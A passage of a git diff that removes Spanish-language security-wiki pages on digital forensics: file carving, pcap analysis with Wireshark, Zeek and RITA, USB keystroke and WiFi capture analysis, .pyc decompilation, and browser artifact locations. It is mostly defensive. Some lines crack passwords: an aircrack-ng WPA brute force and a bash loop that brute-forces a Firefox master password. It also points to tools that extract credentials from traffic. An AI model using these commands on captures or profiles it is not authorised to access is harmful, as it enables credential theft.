#Discovered files will appear inside the folder "output"
```
## **Scalpel**
**Scalpel** es otra herramienta que se puede usar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración \(_/etc/scalpel/scalpel.conf_\) los tipos de archivos que deseas que extraiga.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
## Bulk Extractor
Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
```text
bulk_extractor memory.img -o out_folder
```
Navega a través de **toda la información** que la herramienta ha recopilado \(¿contraseñas?\), **analiza** los **paquetes** \(lee [**análisis de Pcaps**](../pcap-inspection/index.html)\), busca **dominios extraños** \(dominios relacionados con **malware** o **inexistentes**\).
## PhotoRec
Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Viene con versión GUI y CLI. Puedes seleccionar los **tipos de archivo** que deseas que PhotoRec busque.
![](../../../images/image%20%28524%29.png)
# Herramientas específicas de carving de datos
## FindAES
Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
Descarga [aquí](https://sourceforge.net/projects/findaes/).
# Herramientas complementarias
Puedes usar [**viu** ](https://github.com/atanunq/viu) para ver imágenes desde la terminal.
Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo.
{{#include ../../../banners/hacktricks-training.md}}

212
src/forensics/basic-forensic-methodology/pcap-inspection/README.md
View File

@ -1,212 +0,0 @@
# Inspección de Pcap
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> Una nota sobre **PCAP** vs **PCAPNG**: hay dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Es posible que necesite convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas.
## Herramientas en línea para pcaps
- Si el encabezado de su pcap está **dañado**, debe intentar **repararlo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Extraiga **información** y busque **malware** dentro de un pcap en [**PacketTotal**](https://packettotal.com)
- Busque **actividad maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) y [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
## Extraer Información
Las siguientes herramientas son útiles para extraer estadísticas, archivos, etc.
### Wireshark
> [!NOTE]
> **Si va a analizar un PCAP, básicamente debe saber cómo usar Wireshark**
Puede encontrar algunos trucos de Wireshark en:
{{#ref}}
wireshark-tricks.md
{{#endref}}
### Marco Xplico
[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap, Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todo el contenido HTTP, cada llamada VoIP (SIP), FTP, TFTP, y así sucesivamente.
**Instalar**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```
**Ejecutar**
```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
Acceso a _**127.0.0.1:9876**_ con credenciales _**xplico:xplico**_
Luego crea un **nuevo caso**, crea una **nueva sesión** dentro del caso y **sube el archivo pcap**.
### NetworkMiner
Al igual que Xplico, es una herramienta para **analizar y extraer objetos de pcaps**. Tiene una edición gratuita que puedes **descargar** [**aquí**](https://www.netresec.com/?page=NetworkMiner). Funciona con **Windows**.\
Esta herramienta también es útil para obtener **otra información analizada** de los paquetes para poder saber qué estaba sucediendo de una manera **más rápida**.
### NetWitness Investigator
Puedes descargar [**NetWitness Investigator desde aquí**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona en Windows)**.\
Esta es otra herramienta útil que **analiza los paquetes** y organiza la información de una manera útil para **saber qué está sucediendo dentro**.
### [BruteShark](https://github.com/odedshimon/BruteShark)
- Extracción y codificación de nombres de usuario y contraseñas (HTTP, FTP, Telnet, IMAP, SMTP...)
- Extraer hashes de autenticación y crackearlos usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
- Construir un diagrama de red visual (Nodos de red y usuarios)
- Extraer consultas DNS
- Reconstruir todas las sesiones TCP y UDP
- File Carving
### Capinfos
```
capinfos capture.pcap
```
### Ngrep
Si estás **buscando** **algo** dentro del pcap, puedes usar **ngrep**. Aquí hay un ejemplo usando los filtros principales:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Carving
Usar técnicas comunes de carving puede ser útil para extraer archivos e información del pcap:
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
### Capturing credentials
Puedes usar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o de una interfaz en vivo.
## Check Exploits/Malware
### Suricata
**Instalar y configurar**
```
apt-get install suricata
apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
```
**Ver pcap**
```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```
### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) es una herramienta que
- Lee un archivo PCAP y extrae flujos Http.
- gzip descomprime cualquier flujo comprimido.
- Escanea cada archivo con yara.
- Escribe un report.txt.
- Opcionalmente guarda archivos coincidentes en un directorio.
### Análisis de Malware
Verifica si puedes encontrar alguna huella de un malware conocido:
{{#ref}}
../malware-analysis.md
{{#endref}}
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) es un analizador de tráfico de red pasivo y de código abierto. Muchos operadores utilizan Zeek como un Monitor de Seguridad de Red (NSM) para apoyar investigaciones de actividades sospechosas o maliciosas. Zeek también soporta una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluyendo medición de rendimiento y solución de problemas.
Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás usar **otras herramientas** para analizar los registros donde se encuentra la **información** sobre los pcaps.
### Información de Conexiones
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
10.55.100.100 65.52.108.225 443 tcp 86222.4
10.55.100.107 111.221.29.113 443 tcp 86220.1
10.55.100.110 40.77.229.82 443 tcp 86160.1
#Get the number of connections summed up per each line
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
10.55.100.100 65.52.108.225 1 86222.4
10.55.100.107 111.221.29.113 1 86220.1
10.55.100.110 40.77.229.82 134 86160.1
#Check if any IP is connecting to 1.1.1.1
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
#Get number of connections per source IP, dest IP and dest Port
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
# RITA
#Something similar can be done with the tool rita
rita show-long-connections -H --limit 10 zeek_logs
+---------------+----------------+--------------------------+----------------+
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
+---------------+----------------+--------------------------+----------------+
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
#Get connections info from rita
rita show-beacons zeek_logs | head -n 10
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
### Información de DNS
```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
#Get the number of times each domain was requested and get the top 10
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
#Get all the IPs
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
#Sort the most common DNS record request (should be A)
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
## Otras trucos de análisis de pcap
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}
​
{{#include ../../../banners/hacktricks-training.md}}

14
src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md
View File

@ -1,14 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Si tienes un pcap de una conexión USB con muchas interrupciones, probablemente sea una conexión de teclado USB.
Un filtro de wireshark como este podría ser útil: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
Podría ser importante saber que los datos que comienzan con "02" se presionan usando shift.
Puedes leer más información y encontrar algunos scripts sobre cómo analizar esto en:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

17
src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Si tienes un pcap que contiene la comunicación a través de USB de un teclado como el siguiente:
![](<../../../images/image (613).png>)
Puedes usar la herramienta [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) para obtener lo que se escribió en la comunicación:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
Puedes leer más información y encontrar algunos scripts sobre cómo analizar esto en:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

39
src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
View File

@ -1,39 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Verificar BSSIDs
Cuando recibas una captura cuyo tráfico principal es Wifi usando WireShark, puedes comenzar a investigar todos los SSIDs de la captura con _Wireless --> WLAN Traffic_:
![](<../../../images/image (424).png>)
![](<../../../images/image (425).png>)
## Fuerza Bruta
Una de las columnas de esa pantalla indica si **se encontró alguna autenticación dentro del pcap**. Si ese es el caso, puedes intentar forzarla usando `aircrack-ng`:
```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```
Por ejemplo, recuperará la frase de paso WPA que protege un PSK (clave precompartida), que será necesaria para descifrar el tráfico más tarde.
# Datos en Beacons / Canal Lateral
Si sospechas que **los datos están siendo filtrados dentro de los beacons de una red Wifi**, puedes verificar los beacons de la red utilizando un filtro como el siguiente: `wlan contains <NAMEofNETWORK>`, o `wlan.ssid == "NAMEofNETWORK"` busca dentro de los paquetes filtrados cadenas sospechosas.
# Encontrar Direcciones MAC Desconocidas en una Red Wifi
El siguiente enlace será útil para encontrar las **máquinas que envían datos dentro de una Red Wifi**:
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Si ya conoces **las direcciones MAC, puedes eliminarlas de la salida** añadiendo comprobaciones como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Una vez que hayas detectado **direcciones MAC desconocidas** comunicándose dentro de la red, puedes usar **filtros** como el siguiente: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` para filtrar su tráfico. Ten en cuenta que los filtros ftp/http/ssh/telnet son útiles si has descifrado el tráfico.
# Desencriptar Tráfico
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
![](<../../../images/image (426).png>)
{{#include ../../../banners/hacktricks-training.md}}

202
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
View File

@ -1,202 +0,0 @@
# Decompilar binarios de python compilados (exe, elf) - Recuperar de .pyc
{{#include ../../../banners/hacktricks-training.md}}
## De binario compilado a .pyc
De un binario compilado **ELF** puedes **obtener el .pyc** con:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
...
? X binary_name
to filename? /tmp/binary.pyc
```
En un **binario exe de python** compilado, puedes **obtener el .pyc** ejecutando:
```bash
python pyinstxtractor.py executable.exe
```
## De .pyc a código python
Para los datos **.pyc** ("compilado" python) deberías comenzar intentando **extraer** el **código** **python** **original**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (si no, uncompyle6 no va a funcionar)
Al ejecutar **uncompyle6** podrías encontrar los **siguientes errores**:
### Error: Número mágico desconocido 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado.
**Los números mágicos varían según la versión de python**, para obtener el número mágico de **python 3.8** necesitarás **abrir un terminal de python 3.8** y ejecutar:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, entonces, para solucionar este error necesitarás **agregar** al **principio** del **.pyc file** los siguientes bytes: `0x0d550a0d000000000000000000000000`
**Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar solucionado.**
Así es como se verá un **.pyc python3.8 magic header** correctamente agregado:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Error: Errores genéricos de descompilación
**Otros errores** como: `class 'AssertionError'>; co_code debería ser uno de los tipos (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); es tipo <class 'NoneType'>` pueden aparecer.
Esto probablemente significa que **no has añadido correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que **asegúrate de usar el correcto** (o prueba uno nuevo).
Consulta la documentación del error anterior.
## Herramienta Automática
La [**herramienta python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y descompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación.
### ImportError: Nombre de archivo: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' no existe
Un problema común encontrado involucra un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a un número de versión de bytecode de Python faltante**. Para abordar esto, se ha añadido una opción de prepend, que agrega el número de versión de bytecode de Python necesario, facilitando el proceso de descompilación.
Ejemplo del problema:
```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
...
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
```
```python
# Successful decompilation after using the prepend option
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
[*] On Python 2.7
[+] Magic bytes are already appended.
# Successfully decompiled file
[+] Successfully decompiled.
```
## Análisis de ensamblaje de python
Si no pudiste extraer el código "original" de python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblaje** (pero **no es muy descriptivo**, así que **intenta** extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de python2, usa python2:
```bash
>>> import dis
>>> import marshal
>>> import struct
>>> import imp
>>>
>>> with open('hello.pyc', 'r') as f: # Read the binary file
... magic = f.read(4)
... timestamp = f.read(4)
... code = f.read()
...
>>>
>>> # Unpack the structured content and un-marshal the code
>>> magic = struct.unpack('<H', magic[:2])
>>> timestamp = struct.unpack('<I', timestamp)
>>> code = marshal.loads(code)
>>> magic, timestamp, code
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
>>>
>>> # Verify if the magic number corresponds with the current python version
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (hello_world)
9 LOAD_CONST 1 (None)
12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
2 0 LOAD_CONST 1 ('Hello {0}')
3 LOAD_ATTR 0 (format)
6 LOAD_FAST 0 (name)
9 CALL_FUNCTION 1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Python a Ejecutable
Para comenzar, vamos a mostrarte cómo se pueden compilar los payloads en py2exe y PyInstaller.
### Para crear un payload usando py2exe:
1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org)
2. Para el payload (en este caso, lo llamaremos hello.py), utiliza un script como el de la Figura 1. La opción “bundle_files” con el valor de 1 agrupará todo, incluyendo el intérprete de Python, en un solo exe.
3. Una vez que el script esté listo, emitiremos el comando “python setup.py py2exe”. Esto creará el ejecutable, tal como en la Figura 2.
```python
from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
)
```
```bash
C:\Users\test\Desktop\test>python setup.py py2exe
running py2exe
*** searching for required modules ***
*** parsing results ***
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
*** copy extensions ***
*** copy dlls ***
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Para crear un payload usando PyInstaller:
1. Instala PyInstaller usando pip (pip install pyinstaller).
2. Después de eso, emitiremos el comando “pyinstaller –onefile hello.py” (un recordatorio de que ‘hello.py’ es nuestro payload). Esto empaquetará todo en un solo ejecutable.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
108 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.16299
………………………………
5967 INFO: checking EXE
5967 INFO: Building EXE because out00-EXE.toc is non existent
5982 INFO: Building EXE from out00-EXE.toc
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
## Referencias
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
{{#include ../../../banners/hacktricks-training.md}}

41
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md
View File

@ -1,41 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Aquí puedes encontrar trucos interesantes para tipos de archivos y/o software específicos:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

162
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
View File

@ -1,162 +0,0 @@
# Artefactos del Navegador
{{#include ../../../banners/hacktricks-training.md}}
## Artefactos del Navegador <a href="#id-3def" id="id-3def"></a>
Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se mantienen en carpetas específicas dentro del sistema operativo, variando en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares.
Aquí hay un resumen de los artefactos de navegador más comunes:
- **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos.
- **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combinan con el historial de navegación.
- **Marcadores**: Sitios guardados por el usuario para acceso rápido.
- **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario.
- **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga de los sitios web, valioso para el análisis forense.
- **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas.
- **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para información adicional sobre las visitas del usuario.
- **Sesiones del Navegador**: Datos relacionados con las sesiones abiertas del navegador.
- **Descargas**: Registros de archivos descargados a través del navegador.
- **Datos de Formularios**: Información ingresada en formularios web, guardada para futuras sugerencias de autocompletar.
- **Miniaturas**: Imágenes de vista previa de sitios web.
- **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador.
## Firefox
Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` mismo. Si falta la carpeta de un perfil, puede haber sido eliminada.
Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes:
- **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) en Windows pueden acceder a los datos del historial.
- Usa consultas SQL específicas para extraer información de historial y descargas.
- **bookmarkbackups**: Contiene copias de seguridad de marcadores.
- **formhistory.sqlite**: Almacena datos de formularios web.
- **handlers.json**: Gestiona los controladores de protocolo.
- **persdict.dat**: Palabras del diccionario personalizado.
- **addons.json** y **extensions.sqlite**: Información sobre complementos y extensiones instalados.
- **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows.
- **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Almacena favicons.
- **prefs.js**: Configuraciones y preferencias del usuario.
- **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite.
- **thumbnails**: Miniaturas de sitios web.
- **logins.json**: Información de inicio de sesión encriptada.
- **key4.db** o **key3.db**: Almacena claves de encriptación para asegurar información sensible.
Además, verificar la configuración de anti-phishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas.
Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Con el siguiente script y llamada puedes especificar un archivo de contraseña para hacer fuerza bruta:
```bash:brute.sh
#!/bin/bash
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
passfile=$1
while read pass; do
echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
![](<../../../images/image (417).png>)
## Google Chrome
Google Chrome almacena perfiles de usuario en ubicaciones específicas según el sistema operativo:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Dentro de estos directorios, la mayoría de los datos del usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos:
- **History**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede usar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) para leer el historial. La columna "Transition Type" tiene varios significados, incluidos clics del usuario en enlaces, URLs escritas, envíos de formularios y recargas de página.
- **Cookies**: Almacena cookies. Para inspección, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Contiene datos en caché. Para inspeccionar, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Marcadores del usuario.
- **Web Data**: Contiene el historial de formularios.
- **Favicons**: Almacena favicons de sitios web.
- **Login Data**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas.
- **Current Session**/**Current Tabs**: Datos sobre la sesión de navegación actual y las pestañas abiertas.
- **Last Session**/**Last Tabs**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome.
- **Extensions**: Directorios para extensiones y complementos del navegador.
- **Thumbnails**: Almacena miniaturas de sitios web.
- **Preferences**: Un archivo rico en información, que incluye configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más.
- **Browser’s built-in anti-phishing**: Para verificar si la protección contra phishing y malware está habilitada, ejecute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busque `{"enabled: true,"}` en la salida.
## **Recuperación de Datos de SQLite DB**
Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, ayudando a separar la información almacenada y sus detalles correspondientes para un fácil acceso y gestión.
### Almacenamiento de Metadatos
